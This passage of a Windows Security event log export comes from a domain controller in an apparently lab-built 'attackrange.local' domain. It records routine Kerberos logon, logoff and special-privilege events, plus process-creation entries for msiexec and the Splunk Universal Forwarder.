Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x35c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249986 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF50D7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249985 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF50D7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64365 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249984 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF50D7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249983 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF5076 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249982 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF5076 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64364 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249981 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF5076 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249980 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF5010 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249979 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF5010 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64363 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249978 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF5010 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249977 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF4FAF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249976 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF4FAF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64362 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249975 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF4FAF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249974 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEFF30 - -Process Information: - New Process ID: 0xd7c - New Process Name: C:\Windows\System32\msiexec.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x5e4 - Creator Process Name: C:\Windows\System32\msiexec.exe - Process Command Line: C:\Windows\System32\MsiExec.exe -Embedding 33BA6470871F48AC16E6E2A2EF0FA8B7 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249998 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF5AEF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249997 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF5AEF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64369 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249996 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF5AEF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249995 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF5A8E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249994 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF5A8E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64368 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249993 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF5A8E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249992 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF5A28 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249991 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF5A28 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64367 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249990 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF5A28 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249989 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF59C7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249988 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF59C7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64366 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249987 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF59C7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250017 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x105c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1038 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250016 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1040 - New Process Name: 